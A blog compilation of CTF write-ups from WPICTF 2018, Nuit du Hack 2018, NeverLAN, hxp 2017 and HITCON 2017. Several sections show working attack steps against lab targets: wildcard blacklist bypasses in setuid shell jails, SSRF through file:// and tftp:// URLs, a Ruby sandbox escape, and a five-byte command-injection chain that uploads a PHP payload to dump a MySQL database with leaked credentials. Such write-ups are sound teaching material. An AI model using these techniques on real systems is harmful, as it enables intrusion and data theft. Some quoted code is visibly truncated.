WPICTF 2018 guess5

The WPICTF 2018 “guess5” challenge:

The URL presented us with a guessing game, we have to pick 6 numbers. If we picked the correct numbers we’ll get a flag:

However submitting our picks never worked. Investigating this for a bit it looks like this requires to run a local Ethereum node. Before trying to set that up we’ve looked more into what the web application does. Interestingly it fetches the URL https://glgaines.github.io/guess5/Guess6.json (mirror here). In there we can find the ETH contract including in plain text for some reason. Which contains the flag:

The flag is: WPI{All_Hail_The_Mighty_Vitalik}

WPICTF 2018 Shell-JAIL-2

The WPICTF 2018 “Shell-JAIL-2” challenge:

This is almost the same challenge as Shell-JAIL-1 (see my write-up here for explanation of details) with the exception of one extra line in access.c (full mirror here):

        setenv("PATH", "", 1);

This means that before dropping the arguments to system() the $PATH environment variable is unset. Also the blacklist filter of the previous challenge remains the same. With that only built in sh commands will continue to work and since / is also blacklisted we cannot provide full paths to binaries either. For example id will now not work while pwd still executes:

But the . (or source) command still works. With that we can tell the shell to try to execute the flag.txt file and the error message will reveal its content. We still use the ? wildcard to circumvent the other blacklist by passing . "fl?g.t?t" to it:

The flag is: wpi{p0s1x_sh3Lls_ar3_w13rD}

WPICTF 2018 Shell-JAIL-1

The WPICTF 2018 “Shell-JAIL-1” challenge:

After downloading the linked private key and connecting to the remote server we are dropped into a limited user account and the directory /home/pc_owner. In that folder there are only 3 files – including flag.txt to which our user has no access:

The access file is basically a setuid executable which will run as the pc_owner user. The source of the executable is also available in access.c (mirror here). The program will take all arguments and pass it to system() unless it contains blacklisted strings, relevant parts in the source code:

int filter(const char *cmd){
	int valid = 1;
	valid &= strstr(cmd, "*") == NULL;
	valid &= strstr(cmd, "sh") == NULL;
	valid &= strstr(cmd, "/") == NULL;
	valid &= strstr(cmd, "home") == NULL;
	valid &= strstr(cmd, "pc_owner") == NULL;
	valid &= strstr(cmd, "flag") == NULL;
	valid &= strstr(cmd, "txt") == NULL;
	return valid;

int main(int argc, const char **argv){
	setreuid(UID, UID);
	char *cmd = gen_cmd(argc, argv);
	if (!filter(cmd)){

This means passing id to it will work but cat flag.txt will not:

Of course circumventing that filter is rather easy, the * wildcard is forbidden, but ? is not. We can use those wildcards to read flag.txt by passing cat "fla?.tx?" to it:

The flag is: wpi{MaNY_WayS_T0_r3Ad}

Nuit du Hack CTF 2018 CoinGame

The Nuit du Hack CTF 2018 CoinGame challenge:

The URL presented us basically only with a simple webform, which fetches a resource we can specify via cURL:

After a bit of trying, we figured out that file:/// URLs also work, like file:///etc/passwd:

Fetching a lot of files from the server yielded not a lot of success. After a while we noticed the text on the main site: “DESIGNED BY TOTHEYELLOWMOON”

Searching for this and CoinGame a GitHub repo was found: https://github.com/totheyellowmoon/CoinGame
The description of that repo read: “Congrats it was the first step ! Welcome on my Github, this is my new game but I haven’t pushed the modifications …”

From the description of the challenge and the GitHub repo we gather that “CoinGame” is being developed on this server and some changes aren’t pushed yet to the repo.
From /etc/passwd and /var/log/dpkg.log on the server we’ve also figured out that probably a tftp server is running on that system.

Requesting http://coingame.challs.malice.fr/curl.php?way=tftp:// we found the local repository:

Next we cloned the public GitHub repo, with that we had a list of all existing files in the repository. We looped over all the files and downloaded them via tftp from the system. Then simply ran a diff on the checkout and downloaded files. None of the code had any differences, but a few pictures didn’t match:

In any of the gameAnimationImages/background*.png images the flag was visible:

The flag was: flag{_Rends_L'Arg3nt_!}

NeverLAN CTF 2018 JSON parsing 2

The NeverLAN CTF challenge JSON parsing 1:

The linked file can be found here.

The JSON file contains a minute of VirusTotal scan logs. The challenge wants us to provide a SHA256 hash of a PE resource which most commonly by multiple users. In the data there is the unique_sources field, this will show us which file was uploaded the most by unique users.

Basically I use a short Python script to format the JSON to be easier read and find the highest number of unique_sources, then search the full file for that record.

from pprint import pprint
import json

with open('file-20171020T1500') as f:
    for line in f:
        data = json.loads(line)

Running this script like this:

python json2.py |fgrep 'unique_sources' | cut -d ' ' -f 3|sort -n | tail -1

Will find that there is one record with a unique_sources count of 128.
Searching for like this in the full file:

fgrep 'unique_sources": 128' file-20171020T1500

We get the full scan record back, submitting any of the PE resources SHA256 hashes will work as the flag.

NeverLAN CTF 2018 JSON parsing 1

The NeverLAN CTF challenge JSON parsing 1:

The linked file can be found here.

The JSON file contains a minute of VirusTotal scan logs. The challenge wants us to find the 5 AV engines which had the highest detection ratio (not detection count) in that timeframe. To solve it I created this quick Python script:

from __future__ import division
import json

result_true = {}
result_false = {}
result_ratio = {}

with open('file-20171020T1500') as f:
    for line in f:
        data = json.loads(line)
        for scanner in data['scans']:
            if data['scans'][scanner]['detected'] == True:
                if scanner in result_true:
                     result_true[scanner] += 1
                     result_true[scanner] = 1
                if scanner in result_false:
                     result_false[scanner] += 1
                     result_false[scanner] = 1

for scanner in result_false:
    result_ratio[scanner] = result_true[scanner] / (result_true[scanner] + result_false[scanner]) * 100

for key, value in sorted(result_ratio.iteritems(), key=lambda (k,v): (v,k)):
    print "%s: %s" % (key, value)

It will count detection for each AV engine and afterwards calculate the detection ratio for all. Running it will print all ratios sorted by lowest to highest. The last 5 separated by commas is the flag:

The flag is: SymantecMobileInsight,CrowdStrike,SentinelOne,Invincea,Endgame

hxp CTF 2017 irrgarten

The hxp CTF 2017 irrgarten challenge:

Running the dig command (with added +short to reduce output) provided the following output:

$ dig -t txt -p53535 @ 950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link +short
"try" "down.<domain>"

Playing around with it we figured out you can prepend “up”, “down”, “left” and “right” to the records to navigate a maze:

$ dig -t txt -p53535 @ down.950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link +short
$ dig -t txt -p53535 @ down.569b8ba8-ac9a-4d60-a816-10d13b3d7021.maze.ctf.link +short
$ dig -t txt -p53535 @ left.b55b6358-6f9a-4a2c-b68a-211f56c88df9.maze.ctf.link +short

An empty reply probably means that there is a wall in the way otherwise you get the DNS record of the next tile.

To solve it and figure out how big the maze is, this very inefficient Python script was created:

#!/usr/bin/env python
import os
import subprocess

todo = [ '950ae439-d534-4b0c-8722-9ddcb97a50f6.maze.ctf.link.\n' ]
done = [ ]
directions = [ 'up', 'down', 'left', 'right' ]

while True:
  for tile in todo:
    check = subprocess.check_output("/usr/bin/dig +short -t ANY -p53535 @ " + tile, shell=True)
    print check
    for direction in directions:
      fqdn = direction + '.' + tile
      output = subprocess.check_output("/usr/bin/dig +short -t ANY -p53535 @ " + fqdn, shell=True)
      if output:
        if output not in done:
          print output


  if not todo:

This basically loops over all known tiles and checks if there is an accessible tile next to it in all 4 directions. If there is it adds it to the todo list and moves on. All newly found tiles get written to stdout. The base FQDN without the direction prepended gets also queried, this is where we suspected the flag will be found.

While this was running we were trying to implement a more efficient solution but it captured the flag after around 28’000 tiles:

"Flag:" "hxp{w3-h0p3-y0u-3nj0y3d-dd051n6-y0ur-dn5-1rr364r73n}"


HITCON 2017 CTF Data & Mining

The HITCON 2017 CTF “Data & Mining” challenge:

The file attached was a 230MB big pcapng file.

I think I solved this by accident. I was sifting through the data for a bit and started to exclude the flows with a huge amount of data as it was mostly compressed / unreadable to me.

In the remaining data I stumbled over a plaintext TCP stream on port 3333:

This contained the flag in plaintext: hitcon{BTC_is_so_expensive_$$$$$$$}

In retrospective, searching for the string hitcon in the packet data would have worked as well.

HITCON 2017 CTF Baby Ruby Escaping

The HITCON 2017 CTF “Baby Ruby Escaping” challenge had the following description:

And the attached Ruby file was:

#!/usr/bin/env ruby

require 'readline'

proc {
  my_exit = Kernel.method(:exit!)
  my_puts = $stdout.method(:puts)
  ObjectSpace.each_object(Module) { |m| m.freeze if m != Readline }
  set_trace_func proc { |event, file, line, id, binding, klass|
    bad_id = /`|exec|foreach|fork|load|method_added|open|read(?!line$)|require|set_trace_func|spawn|syscall|system/
    bad_class = /(?&lt;!True|False|Nil)Class|Module|Dir|File|ObjectSpace|Process|Thread/
    if event =~ /class/ || (event =~ /call/ &amp;&amp; (id =~ bad_id || klass.to_s =~ bad_class))
      my_puts.call "\e[1;31m== Hacker Detected (#{$&amp;}) ==\e[0m"

loop do
  line = Readline.readline('baby> ', true)
  puts '=> ' + eval(line, TOPLEVEL_BINDING).inspect

Connecting to on port 50216 we got the baby>  prompt and any entered Ruby code was executed except of course when it was blacklisted.

We were stuck with this for a while, nothing useful would execute. Until we noticed that all other challenges had only a “nc $ip $port” as the description and this one said: socat FILE:$(tty),raw,echo=0 TCP:

Of course, readline was implemented in this script. Connecting with the above socat and pressing TAB twice gave us:


Now we at least knew the filename to read was thanks_readline_for_completing_the_name_of_flag.

Again stuck on this for a while. We couldn’t load any new modules, we tried opening files in all the ways we could find and went through the Kernel module methods and finally found this way in the example of gets which worked:

baby> ARGV << 'thanks_readline_for_completing_the_name_of_flag'
=> ["thanks_readline_for_completing_the_name_of_flag"]
baby> print while gets
hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}
=> nil

That’s it, the flag was: hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}

HITCON 2017 CTF BabyFirst Revenge

The HITCON 2017 CTF “BabyFirst Revenge” challenge:

On the specified webserver this PHP script was running:

    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);

Basically what it does is to execute whatever is passed in the cmd parameter if it is no longer than 5 bytes. The output of the command is not displayed.

After some time we figured out that the sandbox folder is also reachable via HTTP, e.g.: So we could at least run things like ls>x and fetch the result.

Out next idea was to use shell wildcards to run longer commands. We wanted a list of all files on the system first. We’ve created a empty file named find and then used wildcards to run it:

curl '>find'
curl '*%20/>x'

The second curl executes * />x which will effectively expand to find />x. We got the file x from the server and saw that this file exists and is readable by our current user:


We need to get that file. We’ve used tar to get it by requesting:

curl '>tar'
curl '>zcf'
curl '>zzz'
curl '*%20/h*'

This creates the files tar, zcf and zzz. Then running * /h*. This expands then to:

tar zcf zzz /h*

Downloading the file “zzz” we find in the README.txt:

Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

Running mysqldump with that username and password will be impossible with only wildcards. Instead we figured out that if we POST content to that URL it will be stored in a file in /tmp for the duration of that request. With that we can upload arbitrary commands but not yet execute them. Any form of sh /tmp/* is too long for the 5 bytes limit.

Tar to the rescue again:

cat << EOF >> exploit.php
<?php exec('mysqldump --single-transaction -ufl4444g -pSugZXUtgeJ52_Bvr --all-databases > /var/www/html/sandbox/727479ef7cedf30c03459bec7d87b0f0/dump.sql 2>&1'); ?>
curl ''
curl '>tar'
curl '>vcf'
curl '>z'
curl -F file=@exploit.php -X POST ''
curl ''

What it does is prepare a local file “exploit.php” which contains PHP code to run mysqldump and write the output to our sandbox folder. The --single-transaction parameter is important, without it the mysqldump will not complete due to missing permissions.

We then create the files tar, vcf and z on the server.
Then run * /t* which expands to:

tar vcf z /t*

This creates an uncompressed file “z” with all the contents of /tmp including our exploit which we POST’ed with that same request. After that with php z this tar file is executed. PHP will happily skip over all the binary parts and execute the PHP payload.

With that the “dump.sql” file is created, downloaded and it finally contained:

LOCK TABLES `this_is_the_fl4g` WRITE;
/*!40000 ALTER TABLE `this_is_the_fl4g` DISABLE KEYS */;
INSERT INTO `this_is_the_fl4g` VALUES ('hitcon{idea_from_phith0n,thank_you:)}');
/*!40000 ALTER TABLE `this_is_the_fl4g` ENABLE KEYS */;

The flag is: hitcon{idea_from_phith0n,thank_you:)}